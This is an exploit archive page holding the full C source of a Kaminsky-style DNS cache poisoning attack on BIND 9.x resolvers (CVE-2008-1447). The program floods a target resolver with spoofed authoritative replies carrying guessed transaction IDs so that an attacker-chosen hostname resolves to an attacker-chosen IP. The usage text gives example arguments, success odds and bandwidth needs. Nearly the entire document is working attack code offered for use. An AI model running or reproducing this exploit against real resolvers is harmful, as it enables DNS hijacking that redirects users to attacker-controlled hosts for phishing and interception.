exploit the possibilities

bind9x-poison.txt

bind9x-poison.txt
Posted Jul 25, 2008
Authored by Marc Bevand

BIND 9.x remote DNS cache poisoning flaw exploit using the vulnerability discovered by Dan Kaminsky.

tags | exploit, remote
advisories | CVE-2008-1447
MD5 | 738b0078ac8624dd2e7118cdec35a81b

bind9x-poison.txt

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/*
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
*
* Compilation:
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
*
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
*
* Author: marc.bevand at rapid7 dot com
*/

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A 0x1
#define TYPE_NS 0x2
#define CLASS_IN 0x1

struct dns_pkt
{
uint16_t txid;
uint16_t flags;
uint16_t nr_quest;
uint16_t nr_ans;
uint16_t nr_auth;
uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
unsigned bufi, i, j;
bufi = i = j = 0;
while (name[i])
{
if (name[i] == '.')
{
if (bufi + 1 + (i - j) > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi++] = i - j;
memcpy(buf + bufi, name + j, i - j);
bufi += i - j;
j = i + 1;
}
i++;
}
if (bufi + 1 + 2 + 2 > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi++] = 0;
*len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
uint16_t tmp;
// name
format_domain(buf, size, len, name);
// type
tmp = htons(type);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
// class
tmp = htons(class);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
format_qr(buf, size, len, name, type, class);
// ttl
ttl = htonl(ttl);
memcpy(buf + *len, &ttl, sizeof (ttl));
*len += sizeof (ttl);
// data length + data
uint16_t dlen;
struct addr addr;
switch (type)
{
case TYPE_A:
dlen = sizeof (addr.addr_ip);
break;
case TYPE_NS:
dlen = strlen(data) + 1;
break;
default:
fprintf(stderr, "format_rr: unknown type %02x", type);
exit(1);
}
dlen = htons(dlen);
memcpy(buf + *len, &dlen, sizeof (dlen));
*len += sizeof (dlen);
// data
unsigned len2;
switch (type)
{
case TYPE_A:
if (addr_aton(data, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", data), exit(1);
memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
*len += sizeof (addr.addr_ip);
break;
case TYPE_NS:
format_domain(buf + *len, size - *len, &len2, data);
*len += len2;
break;
default:
fprintf(stderr, "format_rr: unknown type %02x", type);
exit(1);
}
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
u_char *out = buf;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(0),
.nr_auth = htons(0),
.nr_add = htons(0),
};
u_char qr[256];
unsigned l;
format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
if (sizeof (p) + l > size)
fprintf(stderr, "dns_query overflow"), exit(1);
memcpy(out, &p, sizeof (p));
out += sizeof (p);
memcpy(out, qr, l);
out += l;
*len = sizeof (p) + l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
uint16_t txid, uint16_t flags,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
u_char *out = buf;
u_char *end = buf + size;
u_char rec[256];
unsigned l_rec;
uint32_t ttl = 24*3600;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(1),
.nr_auth = htons(1),
.nr_add = htons(1),
};
(void)domain;
*len = 0;
if (out + *len + sizeof (p) > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
// queries
format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// answers
format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
ttl, q_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// authoritative nameservers
format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
ttl, auth_name);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// additional records
format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
ttl, auth_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
udp->uh_sport = htons(1234);
udp->uh_dport = htons(53);
// dns
dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
rand(), DNSF_REC_DESIRED, name);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
uint16_t port_resolver, uint16_t txid,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
udp->uh_sport = htons(53);
udp->uh_dport = htons(port_resolver);
// dns
dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
q_name, q_ip, domain, auth_name, auth_ip);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}

void usage(char *name)
{
fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
"<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
" <ip-querier> Source IP used when sending queries for random hostnames\n"
" (typically your IP)\n"
" <ip-resolver> Target DNS resolver to attack\n"
" <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
" <port-resolver> Source port used by the resolver when forwarding queries\n"
" <subhost> Poison the cache with the A record <subhost>.<domain>\n"
" <domain> Domain name, see <subhost>.\n"
" <any-ip> IP of your choice to be associated to <subhost>.<domain>\n"
" <attempts> Number of poisoning attemps, more attempts increase the\n"
" chance of successful poisoning, but also the attack time\n"
" <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
" increase the chance of successful poisoning but, but also\n"
" the rate of packet loss\n"
"Example:\n"
" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
"This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
"in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
"this example (8192 attempts and 16 replies/attempt) is 86%%\n"
"(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
"8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
"100 attempts/sec).\n",
name, name);
}

int main(int argc, char **argv)
{
if (argc != 10)
usage(argv[0]), exit(1);
const char *querier = argv[1];
const char *ip_resolver = argv[2];
const char *ip_authoritative = argv[3];
uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
const char *subhost = argv[5];
const char *domain = argv[6];
const char *anyip = argv[7];
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
if (domain[strlen(domain) - 1 ] != '.')
fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
srand(time(NULL));
int unique = rand() + (rand() << 16);
u_char buf[IP_LEN_MAX];
unsigned len;
char name[256];
char ns[256];
ip_t *iph;
if ((iph = ip_open()) == NULL)
err(1, "ip_open");
int cnt = 0;
while (cnt < attempts)
{
// send a query for a random hostname
snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);
len = build_query(buf, querier, ip_resolver, name);
if (ip_send(iph, buf, len) != len)
err(1, "ip_send");
// give the resolver enough time to forward the query and be in a state
// where it waits for answers; sleeping 10ms here limits the number of
// attempts to 100 per sec
usleep(10000);
// send spoofed replies, each reply contains:
// - 1 query: query for the "random hostname"
// - 1 answer: "random hostname" A 1.1.1.1
// - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
// - 1 additional record: <subhost>.<domain> A <any-ip>
snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
unsigned r;
for (r = 0; r < replies; r++)
{
// use a txid that is just 'r': 0..(replies-1)
len = build_response(buf, ip_authoritative, ip_resolver,
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
if (ip_send(iph, buf, len) != len)
err(1, "ip_send");
}
cnt++;
}
ip_close(iph);
return 0;
}


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